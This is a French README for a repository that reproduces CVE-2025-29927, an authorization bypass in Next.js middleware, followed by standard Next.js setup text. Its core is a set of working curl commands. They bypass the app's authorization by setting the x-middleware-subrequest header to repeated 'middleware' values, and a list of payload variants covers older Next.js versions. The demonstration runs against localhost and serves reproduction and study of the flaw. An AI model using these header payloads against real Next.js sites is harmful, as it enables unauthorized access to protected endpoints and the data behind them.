Reproduction du contournement d'autorisation CVE-2025-29927

Ce dépôt est une reproduction de la vulnérabilité CVE-2025-29927 dans le paquet next

Comment reproduire

1. Suivez les étapes ci-dessous pour cloner et exécuter l'application Next.js
2. Testez que l'autorisation refuse l'accès au point de terminaison /api/hello

$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%

3. Testez que l'autorisation fonctionne lorsqu'un jeton est fourni

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%

4. Désormais, il peut également être contourné si nous imbriquons middleware 5 fois dans l'en-tête spécial x-middleware-subrequest :

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Exploitation de CVE-2025-29927 pour les versions antérieures de Next.js

Les versions Next.js 12 et 13 avaient une convention de dénomination différente pour le fichier middleware (_middleware.js), qui a été changé en middleware.js dans Next.js 14. Cette vulnérabilité peut être exploitée dans les versions antérieures en utilisant le fichier _middleware.js.

Par exemple, les charges utiles suivantes s'appliqueraient, selon la version de Next.js et votre convention de routage :

• curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (pour les versions Next.js 12.2 avec le fichier middleware.js à la racine de l'application, pas dans le répertoire pages)
• • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (pour les versions Next.js 11 et jusqu'à 12.2)
• curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Pour commencer

Tout d'abord, lancez le serveur de développement :

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Ouvrez http://localhost:3000 avec votre navigateur pour voir le résultat.

Vous pouvez commencer à modifier la page en modifiant app/page.js. La page se met à jour automatiquement lorsque vous modifiez le fichier.

Ce projet utilise next/font pour optimiser et charger automatiquement Geist, une nouvelle famille de polices pour Vercel.

En savoir plus

Pour en savoir plus sur Next.js, consultez les ressources suivantes :

• Documentation Next.js - découvrez les fonctionnalités et l'API de Next.js.
• Apprendre Next.js - un tutoriel interactif Next.js.

Vous pouvez consulter le dépôt GitHub Next.js - vos retours et contributions sont les bienvenus !

Déployer sur Vercel

Le moyen le plus simple de déployer votre application Next.js est d'utiliser la Plateforme Vercel des créateurs de Next.js.

Consultez notre documentation de déploiement Next.js pour plus de détails.

Contribuer

Veuillez consulter CONTRIBUTING pour les directives de contribution à ce projet.